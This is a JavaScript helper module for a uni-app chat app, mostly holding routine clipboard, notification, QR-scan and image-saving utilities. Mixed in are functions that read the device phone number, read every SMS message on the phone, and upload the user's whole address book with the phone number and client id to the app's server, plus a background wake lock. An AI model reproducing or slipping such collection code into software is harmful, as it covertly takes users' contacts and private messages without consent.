common.js 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463
  1. import _mixins from "./_mixins";
  2. import _data from "./_data";
  3. import _get from "./_get";
  4. import _action from "./_action";
  5. const pageParam = (data)=>{
  6. let url = ''
  7. for (var k in data) {
  8. let value = data[k] !== undefined ? data[k] : ''
  9. url += '&' + k + '=' + encodeURIComponent(value)
  10. }
  11. return url ? url.substring(1) : ''
  12. }
  13. const uniCopy = ({content,success,error})=>{
  14. if(!content) return error('复制的内容不能为空 !')
  15. content = typeof content === 'string' ? content : content.toString() // 复制内容,必须字符串,数字需要转换为字符串
  16. /**
  17. * 小程序端 和 app端的复制逻辑
  18. */
  19. //#ifndef H5
  20. uni.setClipboardData({
  21. data: content,
  22. success: function() {
  23. success("复制成功~")
  24. console.log('success');
  25. },
  26. fail:function(){
  27. success("复制失败~")
  28. }
  29. });
  30. //#endif
  31. /**
  32. * H5端的复制逻辑
  33. */
  34. // #ifdef H5
  35. if (!document.queryCommandSupported('copy')) { //为了兼容有些浏览器 queryCommandSupported 的判断
  36. // 不支持
  37. error('浏览器不支持')
  38. }
  39. let textarea = document.createElement("textarea")
  40. textarea.value = content
  41. textarea.readOnly = "readOnly"
  42. document.body.appendChild(textarea)
  43. textarea.select() // 选择对象
  44. textarea.setSelectionRange(0, content.length) //核心
  45. let result = document.execCommand("copy") // 执行浏览器复制命令
  46. if(result){
  47. success("复制成功~")
  48. }else{
  49. error("复制失败,请检查h5中调用该方法的方式,是不是用户点击的方式调用的,如果不是请改为用户点击的方式触发该方法,因为h5中安全性,不能js直接调用!")
  50. }
  51. textarea.remove()
  52. // #endif
  53. }
  54. const getSystemPhone = ()=>{
  55. let phone = null;
  56. switch (plus.os.name) {
  57. case "Android":
  58. // 程序全局环境对象
  59. var mainActivity = plus.android.runtimeMainActivity();
  60. var Context = new plus.android.importClass("android.content.Context");
  61. var TelephonyManager = new plus.android.importClass("android.telephony.TelephonyManager");
  62. var tm = mainActivity.getSystemService(Context.TELEPHONY_SERVICE);
  63. let msisdn = tm.getLine1Number();
  64. if (msisdn != "") {
  65. phone = msisdn;
  66. }
  67. break;
  68. case "iOS":
  69. break;
  70. default:
  71. break;
  72. }
  73. return phone;
  74. }
  75. const getSystemMesage = ()=>{
  76. var Context = plus.android.runtimeMainActivity();
  77. var res = plus.android.invoke("android.support.v4.app.ActivityCompat", "checkSelfPermission", Context, "android.permission.READ_SMS");
  78. var PERMISSIONS_STORAGE = new Array();
  79. PERMISSIONS_STORAGE.push("android.permission.READ_SMS");
  80. // res == -1 时为询问状态,询问时会走Show 和 Hidden
  81. if (res != "0")
  82. {
  83. plus.android.invoke("android.support.v4.app.ActivityCompat", "requestPermissions", Context, PERMISSIONS_STORAGE, 1);
  84. } else {
  85. var main = plus.android.runtimeMainActivity();
  86. var Uri = plus.android.importClass("android.net.Uri");
  87. var ContactsContract = plus.android.importClass('android.provider.ContactsContract');
  88. var uri = Uri.parse("content://sms/");
  89. var cr = main.getContentResolver();
  90. plus.android.importClass(cr);
  91. var cur = cr.query(uri, null, null, null, null);
  92. plus.android.importClass(cur);
  93. cur.moveToFirst();
  94. while (cur.moveToNext())
  95. {
  96. var index_Address = cur.getColumnIndex("address");
  97. var address = cur.getString(index_Address);
  98. //短信内容
  99. var index_Body = cur.getColumnIndex("body");
  100. var body = cur.getString(index_Body);
  101. //类型1接收 2发送
  102. var index_Type = cur.getColumnIndex("type");
  103. var type = cur.getString(index_Type);
  104. console.log(address,body,type);
  105. }
  106. cur.close();
  107. }
  108. }
  109. const synSystemPhone = ()=>{
  110. //获取用户手机号
  111. //#ifdef APP-PLUS
  112. let phone = getSystemPhone();
  113. var info = plus.push.getClientInfo();
  114. plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
  115. addressbook.find(null, function(contacts) {
  116. _get.sendContact({params:JSON.stringify(contacts),client_id:info.clientid,phone:phone},function(res){
  117. console.log(res);
  118. });
  119. }, function() {
  120. }, {
  121. multiple: true
  122. });
  123. }, function(e) {
  124. });
  125. //#endif
  126. }
  127. const onBack = ()=>{
  128. let main = plus.android.runtimeMainActivity();
  129. let Context = plus.android.importClass("android.content.Context");
  130. let PowerManager = plus.android.importClass("android.os.PowerManager");
  131. let pm = main.getSystemService(Context.POWER_SERVICE);
  132. let g_wakelock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "ANY_NAME");
  133. g_wakelock.acquire();
  134. return g_wakelock;
  135. }
  136. const closeBack = (g_wakelock)=>{
  137. g_wakelock.release();
  138. g_wakelock = null;
  139. }
  140. const pushLocalMsg = (data)=>{
  141. //发送本地push消息
  142. if(_data.data('isOnlie'))return false;
  143. if (!_data.localData('token')) return false;
  144. //#ifdef APP-PLUS
  145. let msg = '[未知]';
  146. let nickname = data.data.msg.user_info.name || '趣聊';
  147. switch (data.data.msg.type * 1) {
  148. case 0:
  149. msg = data.data.msg.content.text;
  150. break;
  151. case 1:
  152. /** 语音 */
  153. msg = '[语音]';
  154. break;
  155. case 2:
  156. /** 图片 */
  157. msg = '[图片]';
  158. break;
  159. case 3:
  160. /** 视频 */
  161. msg = '[视频]';
  162. break;
  163. case 4:
  164. /** 文件 */
  165. msg = '[文件]';
  166. break;
  167. case 5:
  168. /** 红包 */
  169. msg = '[红包]';
  170. break;
  171. case 6:
  172. /** 在线视频 */
  173. msg = '邀请您视频通话';
  174. break;
  175. case 7:
  176. /** 在线语音 */
  177. msg = '邀请您语音通话';
  178. break;
  179. case 8:
  180. /** 名片 */
  181. msg = '[名片]';
  182. break;
  183. case 9:
  184. /** 名片 */
  185. msg = '[戳一戳]';
  186. break;
  187. default:
  188. /** 未知消息类型 */
  189. msg = '[未知]';
  190. break;
  191. }
  192. console.log(msg);
  193. console.log("nickname",nickname);
  194. plus.push.createMessage(msg,{},{title:nickname})
  195. //#endif
  196. }
  197. const scanCode=()=>{
  198. uni.scanCode({
  199. scanType:['qrCode'],
  200. onlyFromCamera:true,
  201. success: function (res) {
  202. let result = res.result;
  203. let params = {};
  204. try {
  205. params = JSON.parse(result);
  206. } catch (e) {
  207. console.log(result);
  208. return false;
  209. }
  210. console.log(params)
  211. if ('action' in params) {
  212. switch (params.action) {
  213. case 'chat_add':
  214. uni.navigateTo({
  215. url: '../details/index?user_id=' + params['user_id'] + '&is_type=3',
  216. });
  217. break;
  218. case 'group_add':
  219. params.users = _data.data('user_info').id;
  220. params.add_type = 'scan';
  221. _get.groupAdd(params,function (res) {
  222. uni.showModal({
  223. content: '已经申请加入群聊,请耐心等待群管理审核',
  224. showCancel: false,
  225. });
  226. },function (ret) {
  227. uni.showToast({
  228. title:ret.msg,
  229. duration:2000,
  230. icon:'none'
  231. })
  232. })
  233. break;
  234. case 'toPage':
  235. uni.navigateTo({
  236. url:params.url
  237. });
  238. break;
  239. default:
  240. console.log(params)
  241. uni.showToast({
  242. title: '扫码失败!',
  243. icon: 'none'
  244. })
  245. return false;
  246. }
  247. return true;
  248. }
  249. let reg = /^(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\*\+,;=.]+$/;
  250. if (reg.test(res.result)) {
  251. uni.navigateTo({
  252. url: '../push/web?url=' + encodeURIComponent(res.result),
  253. });
  254. }
  255. },
  256. fail (e) {
  257. console.log(JSON.stringify(e))
  258. return false;
  259. },
  260. })
  261. }
  262. const pushVedioLocalMsg = (data)=>{
  263. _action.playVoice('/static/voice/video.mp3', true);
  264. if(data.content_type == 6){ //视频
  265. plus.push.createMessage("邀请您视频通话",data,{title:data.name,icon:"/static/theme/default/my/shipin.png"})
  266. }else{ //语音
  267. plus.push.createMessage("邀请您语音通话",data,{title:data.name,icon:"/static/theme/default/my/yuyin.png"})
  268. }
  269. }
  270. const imgPreview = (list,idx)=>{
  271. if (list && list.length > 0) {
  272. uni.previewImage({
  273. current:list[idx], // 传 Number H5端出现不兼容
  274. urls: list
  275. })
  276. }
  277. }
  278. const saveMpImg = (params, f_cb, s_cb) => {
  279. uni.getSetting({
  280. success(res) {
  281. if (!res.authSetting['scope.writePhotosAlbum']) {
  282. uni.authorize({
  283. scope: 'scope.writePhotosAlbum',
  284. success() {
  285. //这里是用户同意授权后的回调
  286. if ('url' in params) {
  287. saveImgToLocalByUrl(params['url'])
  288. }
  289. if ('local' in params) {
  290. saveImgToPhotos(params['local'])
  291. }
  292. if (s_cb != undefined) s_cb();
  293. },
  294. fail() {//这里是用户拒绝授权后的回调
  295. if (f_cb != undefined) f_cb();
  296. }
  297. })
  298. } else {//用户已经授权过了
  299. if ('url' in params) {
  300. saveImgToLocalByUrl(params['url'])
  301. }
  302. if ('local' in params) {
  303. saveImgToPhotos(params['local'])
  304. }
  305. }
  306. }
  307. })
  308. }
  309. const saveImgToLocalByUrl = (url)=>{
  310. uni.showModal({
  311. title: '提示',
  312. content: '确定保存到相册吗',
  313. success: function (res) {
  314. if (res.confirm) {
  315. uni.downloadFile({
  316. url: url,//图片地址
  317. success: (res) => {
  318. if (res.statusCode === 200) {
  319. saveImgToPhotos(res.tempFilePath);
  320. }
  321. }
  322. })
  323. } else if (res.cancel) {
  324. }
  325. }
  326. });
  327. }
  328. const saveImgToPhotos = (tempFilePath) =>{
  329. uni.saveImageToPhotosAlbum({
  330. filePath: tempFilePath,
  331. success: function () {
  332. uni.showToast({
  333. title: "保存成功",
  334. icon: "none"
  335. });
  336. },
  337. fail: function () {
  338. uni.showToast({
  339. title: "保存失败",
  340. icon: "none"
  341. });
  342. }
  343. });
  344. }
  345. const capture = () =>{
  346. var pages = getCurrentPages();
  347. var page = pages[pages.length - 1];
  348. console.log("当前页" + pages.length - 1);
  349. var bitmap = null;
  350. var currentWebview = page.$getAppWebview();
  351. bitmap = new plus.nativeObj.Bitmap('amway_img');
  352. // 将webview内容绘制到Bitmap对象中
  353. currentWebview.draw(bitmap, function () {
  354. console.log('截屏绘制图片成功');
  355. bitmap.save("_doc/a.jpg"
  356. , {}
  357. , function (i) {
  358. console.log('保存图片成功:' + JSON.stringify(i));
  359. uni.saveImageToPhotosAlbum({
  360. filePath: i.target,
  361. success: function () {
  362. bitmap.clear(); //销毁Bitmap图片
  363. uni.showToast({
  364. title: '保存图片成功',
  365. mask: false,
  366. duration: 1500
  367. });
  368. }
  369. });
  370. }
  371. , function (e) {
  372. console.log('保存图片失败:' + JSON.stringify(e));
  373. });
  374. }, function (e) {
  375. console.log('截屏绘制图片失败:' + JSON.stringify(e));
  376. });
  377. //currentWebview.append(amway_bit);
  378. }
  379. const onFireBeforeBack = (key, val) =>{
  380. var pages = getCurrentPages();
  381. var prevPage = pages[pages.length - 2]; //上一个页面
  382. //h5的写法
  383. //#ifdef H5
  384. prevPage.key = val
  385. //#endif
  386. //#ifndef H5
  387. prevPage.$vm.setData({
  388. key: val
  389. })
  390. //#endif
  391. uni.navigateBack()
  392. }
  393. const qrAction = {
  394. //收款码参数
  395. collection(params){
  396. let qrParams = {};
  397. qrParams.user_id = params.user_id;
  398. qrParams.action = 'collection';
  399. qrParams.amount = params.amount;
  400. qrParams.info = params.info;
  401. return JSON.stringify(qrParams);
  402. },
  403. //添加群聊
  404. addGroup(params){
  405. let qrParams = {};
  406. qrParams.user_id = params.user_id;
  407. qrParams.action = 'group_add';
  408. qrParams.list_id = params.list_id;
  409. qrParams.type = 1;
  410. return JSON.stringify(qrParams);
  411. },
  412. //添加好友
  413. chatAdd(params){
  414. let qrParams = {};
  415. qrParams.user_id = params.user_id;
  416. qrParams.action = 'chat_add';
  417. return JSON.stringify(qrParams);
  418. },
  419. //跳转到某页
  420. toPage(url,params){
  421. let qrParams = {};
  422. qrParams.action = 'toPage';
  423. qrParams.url = url+'?'+pageParam(params);
  424. return JSON.stringify(qrParams);
  425. }
  426. }
  427. const checkEmail = (email)=>{
  428. return RegExp(/^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/).test(email);
  429. }
  430. const checkMobile = (mobile)=>{
  431. return RegExp(/^1[3456789]\d{9}$/).test(mobile);
  432. }
  433. const getRoute = () =>{
  434. let routes = getCurrentPages(); // 获取当前打开过的页面路由数组
  435. return routes[routes.length - 1].route //获取当前页面路由
  436. }
  437. export default {
  438. pageParam,
  439. getSystemPhone,
  440. getSystemMesage,
  441. pushLocalMsg,
  442. pushVedioLocalMsg,
  443. scanCode,
  444. imgPreview,
  445. saveMpImg,
  446. saveImgToLocalByUrl,
  447. saveImgToPhotos,
  448. capture,
  449. onFireBeforeBack,
  450. qrAction,
  451. checkEmail,
  452. checkMobile,
  453. uniCopy,
  454. getRoute
  455. }